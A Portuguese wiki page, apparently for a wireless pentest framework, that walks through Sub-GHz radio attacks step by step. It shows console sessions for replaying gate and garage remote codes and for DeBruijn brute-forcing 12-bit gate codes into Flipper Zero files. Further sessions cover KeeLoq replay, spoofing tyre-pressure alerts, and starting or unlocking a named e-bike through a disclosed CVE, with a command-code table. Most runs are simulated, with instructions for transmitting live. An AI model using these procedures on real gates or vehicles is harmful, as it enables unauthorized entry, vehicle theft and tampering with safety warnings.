-
Notifications
You must be signed in to change notification settings - Fork 2
Ataques SubGHz
Idioma: Português (pt-BR) | English: SubGHz-Attacks
Aviso Legal: Transmitir em faixas Sub-GHz sem autorização é ilegal na maioria das jurisdições. Utilize somente em equipamentos próprios, dentro de gaiolas de Faraday, ou em avaliações de segurança devidamente autorizadas. Spoofing de portões e garagens sem consentimento explícito do proprietário constitui crime.
| Componente | Função | Frequência | Uso |
|---|---|---|---|
| HackRF One | TX+RX 1 MHz-6 GHz | 1 MHz - 6 GHz | Replay, força bruta, interferência |
| RTL-SDR | Apenas RX (passivo) | 25 MHz - 1,7 GHz | Decodificação TPMS, análise de sinal |
| CC1101 + ESP32 | TX+RX 300-928 MHz (econômico) | 300 - 928 MHz | Ataques de código estático |
| Flipper Zero / Bruce | Sub-GHz TX+RX | 300 - 928 MHz | Replay de arquivos .sub |
| Protocolo | Bits | Frequência | Segurança | Módulo |
|---|---|---|---|---|
| EV1527 | 24 | 433 MHz | Nenhuma | subghz/static_code_replay |
| Princeton / PT2262 | 24 | 315/433 MHz | Nenhuma | subghz/static_code_replay |
| CAME | 12 | 303-868 MHz | Nenhuma | subghz/debruijn_bruteforce |
| NICE Flo | 12 | 433/868 MHz | Nenhuma | subghz/debruijn_bruteforce |
| Holtek HT12X | 12 | 315/433/868/915 MHz | Nenhuma | subghz/debruijn_bruteforce |
| Chamberlain | 9 | 300/315/390 MHz | Nenhuma | subghz/debruijn_bruteforce |
| KeeLoq | 64 | 433/868 MHz | Código rotativo AES | subghz/keeloq_* |
| TPMS Toyota | variável | 315 MHz | Somente CRC | subghz/tpms/tpms_decoder |
| TPMS Renault | variável | 433 MHz | Somente CRC | subghz/tpms/tpms_decoder |
| EV1527 veicular | 24 | 433 MHz | Nenhuma | subghz/ev1527_vehicle_cve_2025_70994 |
| Módulo | Descrição |
|---|---|
static_code_replay |
Replay de código estático EV1527/Princeton/CAME/NICE/Holtek/Chamberlain |
debruijn_bruteforce |
Força bruta via sequência DeBruijn para protocolos de portão de 12 bits |
keeloq_decoder |
Decodificador e analisador de frame KeeLoq com código rotativo |
keeloq_replay |
Replay de código rotativo KeeLoq dentro da janela de contador |
ev1527_vehicle_cve_2025_70994 |
CVE-2025-70994 - Bypass de entrada sem chave EV1527 veicular |
subghz_jammer |
Interferer Sub-GHz seletivo (somente para testes autorizados) |
br_gate_scanner |
Scanner e gravador de protocolos de portão/garagem brasileiros |
tpms/tpms_decoder |
Decodificador passivo de sensor TPMS (RTL-SDR) |
tpms/tpms_spoof |
Injeção de alerta de pressão TPMS falsificada |
tools/ook_analyzer |
Analisador de sinal OOK: preâmbulo, temporização de bit, identificação de protocolo |
Para protocolos sem proteção de código rotativo (EV1527, Princeton, etc.), um sinal capturado pode ser transmitido indefinidamente.
wxf > use generic/subghz/static_code_replay
wxf (StaticCodeReplay) > show options
Options:
PROTOCOL EV1527 Protocolo (EV1527, Princeton, CAME, NICE, Holtek, Chamberlain)
CODE 0x000000 Código de 24 bits a transmitir (0x = hex, decimal aceito)
FREQUENCY 433.92 Frequência em MHz
INTERFACE hackrf Interface de hardware (hackrf, cc1101, simulate)
REPEATS 3 Número de transmissões
SIMULATE true Simular sem transmitir
wxf (StaticCodeReplay) > set PROTOCOL EV1527
wxf (StaticCodeReplay) > set CODE 0xA3F21B
wxf (StaticCodeReplay) > set FREQUENCY 433.92
wxf (StaticCodeReplay) > set SIMULATE true
wxf (StaticCodeReplay) > run
[SIMULATE] EV1527 code: 0xA3F21B (10739227)
[SIMULATE] Frequency: 433.92 MHz | Bit time: 333 us
[SIMULATE] Preamble: 32 periods LOW | Data: 24 bits (Manchester-like)
[SIMULATE] OOK pulse sequence (24 bits):
[SIMULATE] 101000001010000010100010 (hex: A3F21B)
[SIMULATE] Would transmit 3x via HackRF One at 433.92 MHz
[!] Set SIMULATE=false and INTERFACE=hackrf to transmit live
[!] PREREQ: hackrf_transfer installed + HackRF One connected
Para capturar um sinal primeiro com RTL-SDR e depois decodificá-lo:
wxf > use generic/subghz/tools/ook_analyzer
wxf (OOKAnalyzer) > set INTERFACE rtlsdr
wxf (OOKAnalyzer) > set FREQUENCY 433.92
wxf (OOKAnalyzer) > run
[*] Listening on 433.92 MHz via RTL-SDR...
[*] Signal detected! OOK burst captured.
[+] Protocol guess: EV1527 (24-bit, 333 us/bit)
[+] Preamble: 32x LOW detected
[+] Decoded bits: 101000001010000010100010
[+] Hex code: 0xA3F21B
[+] Saved: /tmp/ook_capture_433920000.sub
Para protocolos de código fixo de 12 bits (CAME, NICE, Holtek), uma sequência DeBruijn testa todos os 4.096 códigos possíveis de forma eficiente. A sequência é projetada de modo que cada janela de n bits possível apareça exatamente uma vez, minimizando o tempo de transmissão.
wxf > use generic/subghz/debruijn_bruteforce
wxf (DeBruijn) > show options
Options:
PROTOCOL CAME Protocolo (CAME, NICE, Holtek, Chamberlain)
FREQUENCY 433.92 Frequência em MHz
OUTPUT_SUB /tmp/out.sub Caminho do arquivo .sub de saída (compatível com Flipper/Bruce)
SIMULATE true Visualizar sem gerar arquivo
wxf (DeBruijn) > set PROTOCOL CAME
wxf (DeBruijn) > set FREQUENCY 433.92
wxf (DeBruijn) > set OUTPUT_SUB /tmp/came_brute.sub
wxf (DeBruijn) > run
[*] Generating DeBruijn sequence for CAME 12-bit at 433.92 MHz
[*] Protocol timing: TE=320us | Footer: -11520us
[*] Total unique codes: 4,096
[*] Estimated TX time at 320us/bit x 12 bits x 3 repeats: ~4.8 minutes
[+] Generated: /tmp/came_brute.sub (Flipper Zero / Bruce compatible)
[*] File contains 4,096 RAW_Data entries
[*] To use on Flipper Zero:
Sub-GHz -> Saved -> came_brute.sub -> Send
[*] To use on Bruce firmware (M5Stack/Lilygo):
RF -> Custom SubGhz -> Load File
[*] Supported protocols and estimated times:
CAME 303/307/315/330/433/868 MHz - ~4.8 min
NICE 433/868 MHz - ~10.5 min
Holtek 315/433/868/915 MHz - ~6.5 min
Chamberlain 300/315/390 MHz - ~2.1 min
O KeeLoq é um sistema de código rotativo de 64 bits utilizado por muitos fabricantes automotivos e de portões de garagem. O frame de 64 bits é dividido em uma parte FIX (número de série estático e código de botão) e uma parte HOP (contador criptografado com AES). Ataques de replay só têm êxito dentro da janela de aceitação do contador (tipicamente +/-256 a partir do último código aceito).
wxf > use generic/subghz/keeloq_decoder
wxf (KeeLoqDecoder) > set CAPTURE_FILE /tmp/captured_signal.sub
wxf (KeeLoqDecoder) > run
[*] Analyzing: /tmp/captured_signal.sub
[+] Protocol: KeeLoq (64-bit rolling code)
[+] FIX portion (static):
Serial number: 0xA1B2C3D4
Button code: 0x3 (button 3 / unlock)
Status bits: 0b0001
[+] HOP portion (encrypted): 0xE5F60789
[!] Decryption requires manufacturer key
[*] Estimated manufacturer: CAME Space (based on FIX structure)
[*] Counter window: typical +/-256 from last accepted code
wxf > use generic/subghz/keeloq_replay
wxf (KeeLoqReplay) > set CAPTURE_FILE /tmp/captured_signal.sub
wxf (KeeLoqReplay) > set SIMULATE true
wxf (KeeLoqReplay) > run
[SIMULATE] Would retransmit captured KeeLoq frame
[SIMULATE] FIX: 0xA1B2C3D4 | HOP: 0xE5F60789 | Counter: ~EC04
[SIMULATE] Window: EC04 to EC103 (+/-256)
[!] Replay succeeds only if counter is within window
[!] Set SIMULATE=false + INTERFACE=hackrf to transmit
[!] PREREQ: HackRF One + 433 MHz antenna + hackrf_transfer
Os sensores TPMS (Tire Pressure Monitoring System) transmitem dados de pressão, temperatura e bateria em 315/433 MHz com modulação FSK ou OOK. A maioria dos sensores usa apenas CRC para integridade - sem autenticação. Um RTL-SDR passivo pode decodificar as transmissões; um HackRF pode injetar alertas falsificados.
wxf > use generic/subghz/tpms/tpms_decoder
wxf (TPMSDecoder) > set INTERFACE rtlsdr
wxf (TPMSDecoder) > set FREQUENCY 433.92
wxf (TPMSDecoder) > run
[*] Passive TPMS scan on 433.92 MHz (RTL-SDR)
[*] Waiting for sensor broadcasts...
[+] Sensor detected: ID=0xABCDE123 | Pressure=2.3 bar | Temp=22C | Battery=OK
[+] Sensor detected: ID=0xABCDE124 | Pressure=2.4 bar | Temp=22C | Battery=OK
[+] Sensor detected: ID=0xABCDE125 | Pressure=2.3 bar | Temp=21C | Battery=OK
[+] Sensor detected: ID=0xABCDE126 | Pressure=2.4 bar | Temp=21C | Battery=OK
^C
[*] Scan stopped. 4 sensors logged (likely 4-wheel vehicle).
[+] Saved to /tmp/tpms_scan_20260608.json
wxf > use generic/subghz/tpms/tpms_spoof
wxf (TPMSSpoof) > set TARGET_ID 0xABCDE123
wxf (TPMSSpoof) > set PRESSURE 0.5
wxf (TPMSSpoof) > set SIMULATE true
wxf (TPMSSpoof) > run
[SIMULATE] TPMS frame for sensor ID 0xABCDE123
[SIMULATE] Spoofed pressure: 0.5 bar (triggers LOW TIRE WARNING on dash)
[SIMULATE] Frequency: 433.92 MHz | Encoding: FSK diff Manchester
[SIMULATE] CRC: recalculated for spoofed payload
[SIMULATE] Would transmit continuously until Ctrl+C
[!] Set SIMULATE=false + INTERFACE=hackrf to inject
[!] PREREQ: HackRF One + 433 MHz antenna
[!] NOTE: Vehicle must be within ~10m for reliable injection
Este CVE afeta a bicicleta elétrica Yadea T5 (2024+) e veículos similares que utilizam entrada sem chave remota baseada em EV1527 estático. O veículo usa um endereço estático de 20 bits no protocolo EV1527. Qualquer sinal capturado (inclusive o toque de campainha) expõe o ID do veículo, permitindo sintetizar um comando de partida.
wxf > use generic/subghz/ev1527_vehicle_cve_2025_70994
wxf (EV1527Vehicle) > show info
Name: EV1527 Vehicle Keyless Entry Bypass
CVE: CVE-2025-70994
CVSS: 7.3 (High)
Target: Yadea T5 Electric Bicycle (2024+), similar EV1527-based vehicles
Auth: None required
Status: Coordinated disclosure - CISA/CERT/CC - April 2026
Description:
The Yadea T5 uses a static 20-bit vehicle address in EV1527 protocol.
Any captured signal (including bell ring) exposes the vehicle ID.
Attacker synthesizes Start command: vehicle_id + 0x2 (start byte).
wxf (EV1527Vehicle) > set TARGET_ID 0xABCDE
wxf (EV1527Vehicle) > set COMMAND start
wxf (EV1527Vehicle) > set SIMULATE true
wxf (EV1527Vehicle) > run
[*] CVE-2025-70994: EV1527 Vehicle Start Spoof
[*] Vehicle ID (20 bits): 0xABCDE
[*] Command code: 0x2 (Start/Ignition)
[*] Full 24-bit frame: 0xABCDE2
[SIMULATE] OOK frame to transmit:
[SIMULATE] Preamble: LOW 31x TE (333us each) = 10.3ms
[SIMULATE] Data (24 bits): 10101011 11001101 11100010
[SIMULATE] Carrier: 433.92 MHz ASK/OOK
[SIMULATE] Repeats: 3x (standard EV1527 retransmit)
[!] Set SIMULATE=false to transmit (requires HackRF or CC1101)
[!] Affected: All Yadea T5 (2024+) with firmware < patch
[*] Disclosure: Coordinated with CISA and CERT/CC, April 2026
Comandos suportados para set COMMAND:
| Comando | Código | Efeito |
|---|---|---|
start |
0x2 | Iniciar ignição / habilitar motor |
stop |
0x1 | Parar motor |
lock |
0x3 | Travar veículo |
unlock |
0x4 | Destravar veículo |
alarm |
0x5 | Acionar alarme / buzina |
O módulo br_gate_scanner grava passivamente sinais de portões e garagens para protocolos comuns no Brasil (PECCININ, RCG, Garen, JFL, AGL), gerando arquivos .sub compatíveis com Flipper Zero.
wxf > use generic/subghz/br_gate_scanner
wxf (BRGateScanner) > set INTERFACE rtlsdr
wxf (BRGateScanner) > set SCAN_BANDS all
wxf (BRGateScanner) > set DURATION 60
wxf (BRGateScanner) > run
[*] Scanning Brazilian gate/garage protocols for 60s
[*] Bands: 433.92, 868.30, 315.00 MHz
[*] Listening...
[+] Signal at 433.92 MHz: EV1527-like (24-bit), code=0xF1E2D3
Brand guess: PECCININ PPA (EV1527 compatible)
Saved: /tmp/signal_433920000_F1E2D3.sub
[+] Signal at 433.92 MHz: NICE Flo (12-bit), code=0xA3B
Saved: /tmp/signal_nice_A3B.sub
[*] Scan complete. 2 signals captured.
wxf > use generic/subghz/tools/ook_analyzer
wxf (OOKAnalyzer) > set CAPTURE_FILE /tmp/mystery_signal.sub
wxf (OOKAnalyzer) > run
[*] Analyzing: /tmp/mystery_signal.sub
[+] Modulation: OOK (On-Off Keying)
[+] Carrier: 433.92 MHz
[+] Bit time (TE): 330-336 us -> 333 us nominal
[+] Preamble: 32 periods LOW (10.6ms)
[+] Data length: 24 bits
[+] Bit encoding: width modulation (short=0, long=1)
[+] Protocol match: EV1527 (confidence: 95%)
[+] Decoded code: 0xA3F21B
[+] Repeat count: 3
[+] Gap between repeats: 10ms
[*] Compatible modules:
use generic/subghz/static_code_replay
set CODE 0xA3F21B
set FREQUENCY 433.92
set PROTOCOL EV1527
# Instalar
sudo apt install hackrf
# Testar conexão
hackrf_info
# HackRF One found (firmware: 2023.01.1)
# Necessário para módulos TX
export HACKRF_INSTALLED=1# Instalar
sudo apt install rtl-sdr python3-rtlsdr
# Testar
rtl_test -t
# Found 1 device(s): Generic RTL2832U OEM
# Necessário para módulos passivos RX (TPMS, analisador OOK)Conecte o CC1101 ao ESP32 via SPI. Grave o firmware WXF personalizado ou use generic/subghz/static_code_replay com INTERFACE=cc1101. Consulte a documentação para o esquema de ligação.
Páginas relacionadas: Segurança de Drones | Segurança Marítima | WIDS
Autor: André Henrique (@mrhenrike) | União Geek
Primeiros Passos
Ataques Wireless
Drones e UAV
Protocolos Especializados
Ferramentas de Pentest
Hardware